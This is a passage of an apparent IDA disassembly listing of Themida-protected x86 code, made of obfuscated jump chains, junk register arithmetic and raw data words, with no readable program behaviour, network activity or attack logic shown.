		dd 0E97FC680h, 0FFFFA75Eh, 4C681h, 0C6810000h, 4, 5C243487h
		dd 0FFF58FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B191:				; CODE XREF: Themida_:00562F32j
		xor	eax, 7B0C55FCh
		add	eax, 5B4861B0h
		jmp	loc_551816
; ---------------------------------------------------------------------------
		dd 4EA81h, 14870000h, 24248B24h, 98E8E9h, 58C13100h, 8106E9C1h
		dd 0AD011BF1h, 0E7E98111h, 0E9A835F1h, 0FFFF7AE7h, 745BF581h
		dd 0E8295FD4h, 0B03E9h,	1F07BA00h, 0D52941B1h, 2434FF5Ah
		dd 0E089505Eh, 405h, 8039E900h,	335B0000h, 0C31240Ch, 240C3324h
		dd 0E924248Bh, 0FFFF8B1Fh
; ---------------------------------------------------------------------------


loc_55B200:				; CODE XREF: Themida_:0055CB01j
		mov	ebp, 33F80E88h
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ebp, 39477D0Ch
		add	ebp, esi
		add	ebp, 39477D0Ch
		jmp	loc_55213E
; ---------------------------------------------------------------------------
aIIZ		db 'ӈ[Z',0
aFyaiS_		db 'fY.',0
		align 10h
		dd 0E9241489h, 32A3h, 4EC81h, 3C890000h, 7761BF24h, 0F781696Dh
		dd 698F0410h, 0C104EFC1h, 0D7F705EFh, 0E908E7C1h, 0FFFF7589h
		dd 2B35C281h, 0D02985E6h, 0A5BB535Ah, 29693026h, 0B4E95BD8h
		dd 89000068h, 2D4859C8h, 77A3149Ch, 0FF7BFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B281:				; CODE XREF: Themida_:005610CEj
		xor	ecx, 633217BEh
		jmp	loc_553236
; ---------------------------------------------------------------------------
aZh8		db 'Zh8',0
		align 2
		dw 3C89h
		dd 4BF24h, 0C2810000h, 483C7272h, 0FF78D5E9h, 5BD909FFh
		dd 0FAE98149h, 3199CD66h, 0E95659CEh, 0FFFFCCB9h, 0BD5B951h
		dd 0E9574B38h, 0C78h, 4240483h,	4C7815Fh, 81000000h, 4C7h
		dd 243C3300h, 33243C31h, 248B243Ch, 99E5E924h, 0B8500000h
		dd 4, 0A7E9C601h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B2F3:				; CODE XREF: Themida_:00557394j
		push	esi
		mov	esi, 1F883E42h
		xor	esi, 50CC2AA5h
		or	esi, 27E9132Fh
		not	esi
		inc	esi
		shr	esi, 4
		sub	esi, 0B26CE723h
		or	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 3B2B4457h
		add	ebx, edi
		jmp	loc_550C18
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 5C240C33h, 0D3BE5658h, 577EC322h, 21D3BB53h,	0CB811EB3h
		dd 0B060A3Fh, 0D381EB81h, 0DF89E764h, 0EDF7815Bh, 47192D58h
		dd 305F781h, 0E7C151B5h, 30C78108h, 958E685h, 0DEF75FFEh
		dd 5E6C146h, 6690E9h, 5B263500h, 0C101B171h, 21F18158h
		dd 533A9805h, 0FFFFFFBBh, 99DAE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B38A:				; CODE XREF: Themida_:0055639Fj
		xor	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	424h
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 34346EC7h
		not	edi
		shl	edi, 7
		dec	edi
		jmp	loc_5595BA
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 8100B60Fh, 4ECh, 7450E900h, 0F5810000h, 6519610Dh
		dd 5CFEF581h, 0E1E92CB3h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B3D7:				; CODE XREF: Themida_:0054F903j
		mov	ax, [esp]
		push	6134h
		mov	[esp], ecx
		push	esp
		jmp	loc_55C505
; ---------------------------------------------------------------------------
a0UsM		db '%:0U{m',0
		dw 6800h
		dd 5C33h, 0BF243C89h, 4CDD292Fh, 1B4AEF81h, 0F7814EF7h
		dd 7F56352Bh, 1E7EF81h,	0CF817DCDh, 5B21052Eh, 5C32C781h
		dd 59E9427Eh, 0BF00005Bh, 5F1F2A2Eh, 22FCBA52h,	0C2813B23h
		dd 0D427F326h, 0F75AD731h, 1C783D7h, 0FF9EE9E9h, 2434FFFFh
		dd 4EC8359h, 68241C89h,	34CDh, 24048F54h, 2618E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B459:				; CODE XREF: Themida_:005615BAj
		add	edi, 824FA302h
		sub	ecx, 0B8A2CC1h
		jmp	loc_55CD12
; ---------------------------------------------------------------------------


loc_55B46A:				; CODE XREF: Themida_:0055FEA9j
		mov	ebp, 0DB9651EEh
		sub	ebx, ebp
		jmp	loc_55B106
; ---------------------------------------------------------------------------


loc_55B476:				; CODE XREF: Themida_:00553410j
		xchg	esi, [esp]
		jmp	loc_55C3DC
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 0FFF2F581h, 0EA01FFDFh, 81242C8Bh, 4C4h, 4EC8300h, 0FF241489h
		dd 5A042474h, 5C24048Fh, 243CD366h, 9D2E99Ch, 0C4830000h
		dd 1BFEE904h, 1C330000h, 24248B24h, 0B3241C89h,	4CC380C2h
		dd 5266CBFEh, 0D30085B2h, 6CE95A66h, 68FFFFB3h,	3755h
		dd 0B9240C89h, 1BB36E11h, 52F0E9h, 0C2BCBB00h, 0D929739Dh
		dd 0F8C1815Bh, 0F72D3335h, 0E9D9F7D9h, 0FFFFD850h
; ---------------------------------------------------------------------------


loc_55B4F8:				; CODE XREF: Themida_:00559448j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 64h
		xor	ah, 38h
		add	bl, ah
		jmp	loc_56434F
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0B0h
		dd 0E9236E01h, 0FFFFBD99h, 50241489h, 560DE9h, 0FFF03000h
		dd 34FF2434h, 46E95A24h, 0FF000018h, 27E92434h,	25FFFFDCh
		dd 2BDE42CAh, 0A04F6B0Dh, 4FE72D04h, 0EE8107B0h, 4EAF758Eh
		dd 42E9C601h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B553:				; CODE XREF: Themida_:0055462Ej
		mov	[esp], ebx
		mov	ebx, 0FEBF67EFh
		jmp	loc_55D11B
; ---------------------------------------------------------------------------
		dd 4C481h, 31E90000h, 25000084h, 4FF44A5Bh, 0E4296E35h
		dd 82E94860h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B57B:				; CODE XREF: Themida_:00559AB3j
		sub	eax, 611A2706h
		jmp	loc_55CB06
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 0BDA7E900h, 0C683FFFFh, 2B76E904h, 0B6520000h
		dd 0BCC68003h, 0EE80CEFEh, 95BFE941h, 0FA290000h, 94D9E953h
		dd 0C7810000h, 4, 5C243C87h, 0CF6DE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5C2:				; CODE XREF: Themida_:0055220Cj
		neg	edi
		dec	edi
		xor	edi, 28B33BCCh
		sub	ecx, edi
		pop	edi
		and	eax, ecx
		jmp	loc_554578
; ---------------------------------------------------------------------------


loc_55B5D5:				; CODE XREF: Themida_:00552256j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3AA8h
		mov	[esp], ebp
		jmp	loc_559C31
; ---------------------------------------------------------------------------


loc_55B5E8:				; CODE XREF: Themida_:0055DFE7j
		push	eax
		jmp	loc_551571
; ---------------------------------------------------------------------------
		dw 5E5Eh
		dd 4A7DDB05h, 2DD8015Bh, 5B4A7DDBh, 61EABE56h, 0F7967F01h
		dd 0C14696D0h, 0EEC104EEh, 0ADCE8102h, 0E926C716h, 92BEh
; ---------------------------------------------------------------------------


loc_55B618:				; CODE XREF: Themida_:00563D73j
		pop	eax
		inc	edx
		dec	edx
		sub	edx, 0CC7207F0h
		jmp	loc_55BF0A
; ---------------------------------------------------------------------------


loc_55B626:				; CODE XREF: Themida_:00564846j
		shl	ebx, 3
		push	esi
		mov	esi, 4EC88AF7h
		jmp	loc_55F8D9
; ---------------------------------------------------------------------------
		dd 0C5815D54h, 4, 8704C583h, 248B242Ch,	4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 50677EAh
		or	eax, 7236283Ah
		not	eax
		add	eax, 50DF319Ch
		xor	eax, 6B0A7E9Ch
		neg	eax
		jmp	loc_555147
; ---------------------------------------------------------------------------
		db 68h,	25h, 0Dh
		dd 4890000h, 0CCE95124h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B677:				; CODE XREF: Themida_:0055A5FFj
		xchg	esi, [esp]
		pop	esi
		and	esi, 43DB3232h
		add	esi, 74B745F6h
		jmp	loc_5612D7
; ---------------------------------------------------------------------------
		dd 0FF4185E9h, 8BE821FFh, 0C481242Ch, 4, 1117E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B6A1:				; CODE XREF: Themida_:0055A2B2j
		shl	esi, 2
		jmp	loc_558611
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 36h
		dd 80FFC180h, 0E98065C9h, 4E9C0EFh, 28ABC180h, 0F82859C8h
		dd 0C06EB652h, 3EE902EEh, 88000019h, 0EF8859EAh, 5A66D588h
		dd 81A3ED80h, 2ECh, 1C896600h, 0EB79E924h, 0D788FFFFh
		dd 0FF9D63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B6ED:				; CODE XREF: Themida_:0056474Dj
		mov	edx, esp
		push	eax
		push	edx
		mov	edx, 283C32BCh
		jmp	loc_564669
; ---------------------------------------------------------------------------
		db 81h
		dd 0AF5724E3h, 2F38153h, 432FE630h, 64FFE381h, 0E3C17195h
		dd 41EB8104h, 194F3E7h,	0B2E95BDFh
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B71F:				; CODE XREF: Themida_:00563C02j
		xor	ecx, 55C00498h
		sub	ebp, 15893174h
		sub	ebp, ecx
		jmp	loc_551A72
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 88C2E904h, 0DD88FFFFh, 9091E9h, 0DBE5600h, 815BF82Bh
		dd 830091E6h, 21F68145h, 0E94AE04Fh, 0FFFFAE36h, 0E64C91BEh
		dd 5EF72930h, 2673E781h, 0EF817CB0h, 0F8EC1A16h, 0FF7B42E9h
		dd 4BAFFh, 0D5890000h, 0EEE9815Ah, 1423C3Ch, 0CFE4E9E9h
		dd 8BE9FFFFh, 83FFFF40h, 0BF5704C4h, 49806A6Bh,	0FFC974E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B799:				; CODE XREF: Themida_:0055C889j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, edx
		pop	edx
		jmp	loc_552756
; ---------------------------------------------------------------------------


loc_55B7AD:				; CODE XREF: Themida_:0055D5C7j
		add	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5514F7
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 1513h, 4C281h, 84E90000h, 0BFFFFF6Ah, 2, 34FFFA01h
		dd 0C4815F24h, 4, 4EC81h, 14890000h, 2474FF24h,	48F5A04h
		dd 24248B24h, 9CC88566h, 0FF4009E9h, 8BDF01FFh,	8953241Ch
		dd 0ABB850E3h, 4878EA45h, 0EC5C350Dh, 5D0F71Ah,	2292D3Bh
		dd 0FF47C2E9h, 241C33FFh, 0EC81565Ch, 4, 68242489h, 2D58h
		dd 50241C89h, 3DE9E089h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B84B:				; CODE XREF: Themida_:0055F4A0j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_564364
; ---------------------------------------------------------------------------


loc_55B854:				; CODE XREF: Themida_:00551F6Ej
		mov	[esp], edx
		mov	edx, esi
		mov	eax, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55637C
; ---------------------------------------------------------------------------
		dw 8950h
		dd 58C289C8h, 81240C8Bh, 4C4h, 7E2C100h, 0EA81DAF7h, 1
		dd 0E16EA81h, 0BB533CB6h, 1C7C1F64h, 4302E3C1h,	0B2E9D3F7h
		dd 0B7000015h, 17D0E9DDh, 4BB0000h, 0E9000000h,	5835h
		dd 70E9F029h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B8AF:				; CODE XREF: Themida_:00553E5Aj
		add	edx, 4AB13FBAh
		jmp	loc_55C995
; ---------------------------------------------------------------------------
		dw 0F530h
		dd 0AEF5805Ah, 2817EE80h, 2D92E9EEh, 295F0000h,	24148BD5h
		dd 0E904C483h, 7DE8h, 6CCEE958h, 48FFFFFh, 8C03E924h, 0FAB80000h
		dd 13C2002h, 5C26E9C1h,	4ACFFFFh, 4EC835Eh, 0B6241489h
		dd 0E7C680BEh, 18C1E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B906:				; CODE XREF: Themida_:0055686Cj
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559381
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 0BB534A04h, 78921163h, 1C8BDA01h, 6E0E924h
		dd 0C1810000h, 90C0778h, 0E981D929h, 90C0778h, 0E9241C8Bh
		dd 445h, 240C8966h, 0E98CB450h,	8890h, 4BBh, 5BDE0100h
		dd 8B243487h, 0C332424h, 240C3124h, 5C240C33h, 0D0668h
		dd 24148900h, 15E95053h, 2D00008Ah, 2E152B41h, 4105E801h
		dd 5D2E152Bh, 0FFA8F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B989:				; CODE XREF: Themida_:005545F2j
		add	ecx, 4
		jmp	loc_559E13
; ---------------------------------------------------------------------------
		dd 0B74DF6B9h, 244C293Fh, 84CCE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B9A2:				; CODE XREF: Themida_:00561161j
		add	esp, 4
		push	ebp
		mov	ebp, 373C6CADh
		dec	ebp
		inc	ebp
		jmp	loc_552A9C
; ---------------------------------------------------------------------------
		dw 8605h
		dd 0E92B942Ah, 0FFFFC125h, 0DC5326BFh, 5FFA315Ch, 4A18E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B9C9:				; CODE XREF: Themida_:00551D22j
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0F6682404h, 0E9000066h, 3F6Fh
; ---------------------------------------------------------------------------


loc_55B9DC:				; CODE XREF: Themida_:0055E3ADj
		pop	ebp
		push	esi
		mov	esi, 1DC1224Ah
		not	esi
		sub	esi, 69F10188h
		jmp	loc_553652
; ---------------------------------------------------------------------------
		dd 5FE98159h, 157A845h,	5FC181E9h, 8B57A845h, 0C483242Ch
		dd 4E98304h, 5C240C87h,	68240489h, 2, 0E924048Bh, 7530h
; ---------------------------------------------------------------------------


loc_55BA1C:				; CODE XREF: Themida_:00552751j
		xor	ebx, 32372927h
		jmp	loc_55F0AE
; ---------------------------------------------------------------------------
		db 9
		dd 7DE3E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA2E:				; CODE XREF: Themida_:0056286Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4


loc_55BA38:				; CODE XREF: Themida_:005545E1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_563D3C
; ---------------------------------------------------------------------------


loc_55BA46:				; CODE XREF: Themida_:00563650j
		pop	ebx
		jmp	loc_55C667
; ---------------------------------------------------------------------------
		dd 9F92E951h, 0E956FFFFh, 53FBh, 4BDh, 5DEF0100h, 81E28952h
		dd 4C2h, 4EA8300h, 0E9241487h, 15E4h, 0BD55405Eh, 2CD92512h
		dd 0FFEC31E9h, 4C181FFh, 57000000h, 4BFh, 5FF92900h, 8B240C87h
		dd 4892424h, 72B7E924h,	0D9310000h, 0D987D3F7h,	11C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BAA9:				; CODE XREF: Themida_:0055EF52j
		mov	ebp, esp
		jmp	loc_55158E
; ---------------------------------------------------------------------------
		dd 58240CFFh, 494D1835h, 0D089E951h, 0C783FFFFh, 243C8704h
		dd 29D3E9h, 51E68900h, 0FF9EE2E9h, 4BBFFh, 5C010000h, 8F5B0424h
		dd 4812404h, 424h, 0EC815E00h, 4, 5ACEE9h, 4AB76800h, 0C890000h
		dd 4EC8324h, 56243C89h,	7107BFBEh, 0AEB8E905h, 0D668FFFFh
		dd 89000014h, 0E9502414h, 48AAh
; ---------------------------------------------------------------------------


loc_55BB18:				; CODE XREF: Themida_:00552584j
		mov	ecx, edx
		pop	edx
		jmp	loc_5638F6
; ---------------------------------------------------------------------------


loc_55BB20:				; CODE XREF: Themida_:00556A24j
		add	ebx, eax
		jmp	loc_555FB5
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 243C8700h, 2434895Ch, 81E38953h, 4C3h,	0A283E900h
		dd 66BFFFFFh, 0F768F60Dh, 5DFDE9D7h, 0C7810000h, 150C3607h
		dd 0FF6527E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BB59:				; CODE XREF: Themida_:0055059Aj
		sub	ebx, 45203897h
		add	ebx, 76432066h
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 637477EAh
		xor	ebp, 52DB4544h
		push	edx
		push	esp
		jmp	loc_558ECC
; ---------------------------------------------------------------------------
		db 66h
		dd 53240C8Bh, 0C381E389h, 4, 0FF484CE9h, 81E689FFh, 4ECh
		dd 240C8900h, 5E7645B9h, 0E9D9F72Dh, 0FFFFD0F8h, 48CE950h
		dd 0C5310000h, 19BF5758h, 0E9654120h, 5FA9h
; ---------------------------------------------------------------------------


loc_55BBB8:				; CODE XREF: Themida_:00564192j
		sub	edi, ecx
		pop	ecx
		push	edi
		jmp	loc_551C34
; ---------------------------------------------------------------------------


loc_55BBC1:				; CODE XREF: Themida_:005525E9j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55EDD0
; ---------------------------------------------------------------------------


loc_55BBD2:				; CODE XREF: Themida_:0055DEEEj
		mov	edx, 719417C1h
		jmp	loc_5500A9
; ---------------------------------------------------------------------------
		dd 0F470E953h, 5868FFFFh, 89000027h, 0EC83243Ch, 24248904h
		dd 4240483h, 56243C8Bh,	0BA52E689h, 4D153D6Dh, 81D2F74Ah
		dd 888DBEAh, 1AFFE986h,	89530000h, 0F19CE9E3h, 0C483FFFFh
		dd 8182E904h, 0BA52FFFFh, 24276B90h, 799AE9h, 81E80000h
		dd 4ECh, 24148900h, 0FF4D91E9h,	0BE565FFFh, 24816721h
		dd 98E3C681h, 87E9DB7Eh, 8700008Eh, 0BBE9242Ch,	0B1FFFF6Eh
		dd 5E9C06Ch, 821DE9h, 24048F00h, 0FD31EF31h, 6855EF31h
		dd 3A15h, 8B241489h, 0C481242Ch, 4, 487525Ah, 87D0F724h
		dd 58E92404h, 8BFFFFB3h, 0C481240Ch, 4,	5C24048Fh, 50241489h
		dd 3B78E99Ch, 2D40FFFFh, 52C7A844h, 5E9C789h, 66FFFFF3h
		dd 8124048Bh, 4ECh, 243C8900h, 382F68h,	24248900h, 3E9C68h
		dd 24048900h, 0E570F5B8h, 8EBD5559h, 0E9745F31h, 0FFFFC0F5h
		dd 39E95F5Dh, 53000066h, 31EE9h, 242C8B00h, 8104C483h
		dd 4C5h, 4C58100h, 87000000h, 0A5E9242Ch
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BCFF:				; CODE XREF: Themida_:00562E30j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55E5B1
; ---------------------------------------------------------------------------


loc_55BD13:				; CODE XREF: Themida_:00550109j
		push	ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_554886
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4EC8157h, 0E9000000h, 0FFFF80FBh, 68240C89h,	3683h
		dd 24048F54h, 0FF9B2CE9h, 240C89FFh, 0B9h, 52D10100h, 0BAh
		dd 0A5C28100h, 13FB72Eh, 0B312E9CAh, 0BBAFFFFh,	290E81EDh
		dd 0D8015AD3h, 74BE565Bh, 813EF853h, 0F33685EBh, 55F32912h
		dd 0FF5FA7E9h, 4C481FFh, 87000000h, 895C240Ch, 7BE9240Ch
		dd 51FFFF3Ah, 0E5C0D7B5h, 0FFC58008h, 8600F580h, 30C3FEDDh
		dd 30EB30DDh, 1883E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BDB6:				; CODE XREF: Themida_:00556CAEj
		xor	ecx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	ebp
		mov	ebp, esp
		push	797h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_550E05
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0EC83D7B0h, 6C75E904h, 8B66FFFFh, 0A8E92414h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDE7:				; CODE XREF: Themida_:00563406j
		mov	[esp], ecx
		push	273407D3h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F764
; ---------------------------------------------------------------------------
		db 29h,	0C6h, 58h
		dd 5C243487h, 83240489h, 148904ECh, 4EC8324h, 8B243489h
		dd 0C4812414h, 4, 242C8152h, 12611F92h,	60BDE958h, 0E7E9FFFFh
		dd 8BFFFF39h, 0C4832414h, 81CF0104h, 4ECh, 240C8900h, 286ECCB9h
		dd 9EF8147h, 0E93A5E49h, 162Ah
; ---------------------------------------------------------------------------


loc_55BE50:				; CODE XREF: Themida_:0055C5C1j
		sub	al, 0D0h
		add	al, bl
		add	al, 0D0h
		jmp	loc_55C04F
; ---------------------------------------------------------------------------
		db 81h
		dd 8F29D3EFh, 6EEF8146h, 1495920h, 6EC781CFh, 53495920h
		dd 8F29D3BBh, 0E9DF0146h, 0FFFF88DFh, 0FF3995E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BE81:				; CODE XREF: Themida_:loc_5609C8j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5562E2
		push	ecx
		mov	ecx, 0
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 1B116A9Ah
		add	[esp+4], eax
		pop	eax
		jmp	loc_554CC4
; ---------------------------------------------------------------------------


loc_55BEB0:				; CODE XREF: Themida_:0055F79Ej
		xchg	ebx, [esp]
		jmp	loc_55AB9F
; ---------------------------------------------------------------------------


loc_55BEB8:				; CODE XREF: Themida_:0055C3E2j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 0
		add	edx, eax
		mov	[edx], bl
		jmp	loc_561879
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4812404h, 4, 8B24048Fh,	89572424h, 3E2DE9E7h
		dd 0E9530000h, 558Eh, 4BE56h, 3AE90000h, 8700006Fh, 5B5C243Ch
		dd 348BF589h, 40E8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BF0A:				; CODE XREF: Themida_:0055B621j
		sub	ebx, edx
		pop	edx
		xor	ebx, 67E96410h
		sub	esp, 4
		mov	[esp], ebp
		push	17h
		jmp	loc_552416
; ---------------------------------------------------------------------------


loc_55BF23:				; CODE XREF: Themida_:005603DCj
		not	edx
		jmp	loc_550CB7
; ---------------------------------------------------------------------------


loc_55BF2A:				; CODE XREF: Themida_:005610A1j
		sub	ebx, eax
		pop	eax
		pop	ecx
		pop	small word ptr [eax]
		jmp	loc_54F816
; ---------------------------------------------------------------------------
aWsL		db 'W#L',0
		align 4
		dd 0F889CF89h, 0E9243C8Bh, 5BB5h
; ---------------------------------------------------------------------------


loc_55BF48:				; CODE XREF: Themida_:0056358Dj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 99h
		dd 0FF57CE54h, 835D2434h, 3C3304C4h, 243C3124h,	8B243C33h
		dd 0F662424h, 9C2404B3h, 0FF38A1E9h, 240C33FFh,	0E9240C31h
		dd 0FFFF56F3h
; ---------------------------------------------------------------------------


loc_55BF80:				; CODE XREF: Themida_:0055E5BAj
		or	edi, 56671037h
		push	ebp
		mov	ebp, 0FBFBC28Bh
		jmp	loc_555EE2
; ---------------------------------------------------------------------------


loc_55BF91:				; CODE XREF: Themida_:0055DEDFj
		sub	ebp, 4B0F44C6h
		jmp	loc_55CB9A
; ---------------------------------------------------------------------------


loc_55BF9C:				; CODE XREF: Themida_:0054FBE8j
		push	edi
		mov	edi, 0CDDEE98Fh
		add	ecx, 13655AFCh
		add	ecx, edi
		sub	ecx, 13655AFCh
		pop	edi
		sub	ebx, ecx
		pop	ecx
		sub	ebx, eax
		jmp	loc_555477
; ---------------------------------------------------------------------------


loc_55BFBB:				; CODE XREF: Themida_:0055F0A9j
		xchg	esi, [esp]
		jmp	loc_561E9B
; ---------------------------------------------------------------------------
		db 1
		dd 5E042474h, 8324048Fh, 8B042404h, 0C4812434h,	4, 4C681h
		dd 0E9520000h, 31F6h
; ---------------------------------------------------------------------------


loc_55BFE4:				; CODE XREF: Themida_:00556276j
		push	edx
		xchg	eax, [esp]
		not	eax
		jmp	loc_5561DD
; ---------------------------------------------------------------------------
		db 66h
		dd 9C240401h, 0FF381DE9h, 67C768FFh, 96E90000h,	0BBFFFF99h
		dd 66067578h, 55FEE94Bh, 8956FFFFh, 4C681E6h, 0E9000000h
		dd 434Fh
; ---------------------------------------------------------------------------


loc_55C01C:				; CODE XREF: Themida_:0055EC9Dj
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	192Ch
		mov	[esp], edx
		jmp	loc_55D329
; ---------------------------------------------------------------------------
aRhbg		db 'RhBg',0
a5swk		db '5w',0
		db 0
; ---------------------------------------------------------------------------


loc_55C041:				; CODE XREF: Themida_:00561C2Bj
		mov	[esp], esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		pop	ecx
		jmp	loc_561DBA
; ---------------------------------------------------------------------------


loc_55C04F:				; CODE XREF: Themida_:0055BE56j
		add	al, 64h
		mov	bx, [esp]
		jmp	loc_555F66
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 6E1C102h, 3A04C181h,	0CD0103EDh, 274BE9h, 4C68100h
		dd 0E9000000h, 0FFFFF26Eh
; ---------------------------------------------------------------------------


loc_55C078:				; CODE XREF: Themida_:0055A5B5j
		mov	[esp], bx
		mov	bl, 0B5h
		push	small 6B00h
		jmp	loc_55E5CA
; ---------------------------------------------------------------------------


loc_55C087:				; CODE XREF: Themida_:0054FD92j
		mov	[esp], ebp
		jmp	loc_55D96F
; ---------------------------------------------------------------------------
		db 1
		dd 0E9815DE9h, 6C732EBDh, 0C181F901h, 6C732EBDh, 5170E9h
		dd 2C48100h, 80000000h,	0EB00EAC3h, 59EAEB80h, 0E9C0B60Fh
		dd 0FFFF4323h, 4E1C6853h, 1C8B26B9h, 3E80E924h,	1C8BFFFFh
		dd 57ADE924h, 0CB01FFFFh, 0FF4B1BE9h, 2C65BDFFh, 0D5F7744Dh
		dd 2F61E9h, 0D7C58100h,	8B57A24Dh, 0B0E92414h, 1FFFF5Ch
		dd 0DD96E9F3h, 3C87FFFFh, 0EE815C24h, 6F703E05h, 0C681D601h
		dd 6F703E05h, 8324148Bh, 0EDE904C4h, 81FFFFDDh,	0FF705FEEh
		dd 81DE292Dh, 0FF705FC6h, 0F6815B2Dh, 0DEAEAB7h, 0BBE9F001h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C133:				; CODE XREF: Themida_:005557AAj
		push	dword ptr [esp]
		jmp	loc_55F85C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 0E924048Fh, 0FFFF9ACFh, 4BD4C681h, 0D6013F5Fh
		dd 4BD4EE81h, 335A3F5Fh, 34312434h, 24343324h, 0E924248Bh
		dd 0FFFF61E4h, 89241C89h, 7A3BE9E3h, 148BFFFFh,	4C48124h
		dd 1000000h, 0C7815BDAh, 1149484Ah, 0EF81D729h,	1149484Ah
		dd 5A2434FFh, 8104C483h, 9971C1C7h, 0BBE95A5Dh,	50FFFFB9h
		dd 8099B151h, 0C1802FF1h, 0CC8850FFh, 9AE9D4F6h, 5BFFFF62h
		dd 0C8BCE01h, 4C48324h,	745EC681h, 0EFE9721Eh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1C7:				; CODE XREF: Themida_:0055EE73j
		pop	ecx
		add	edx, 0B4A22D3h
		push	ebp
		mov	ebp, 53F12D82h
		or	ebp, 1FF85C43h
		shl	ebp, 6
		and	ebp, 23D41A47h
		not	ebp
		add	ebp, 28344B4Ah
		jmp	loc_552019
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 2B050000h, 0E9354455h, 0FFFF821Bh
		dd 0A2E91EB1h, 89000009h, 0BD0DE9E0h, 1BBEFFFFh, 2D7D9340h
		dd 0F4B2ED6h, 7F101005h, 2DF0014Ch, 4C7F1010h, 5986E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C22E:				; CODE XREF: Themida_:0055F72Dj
		xchg	eax, [edi+24h]
		inc	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 24h
		sub	ebx, 18D77ABEh
		push	edx
		mov	edx, 2DBE3926h
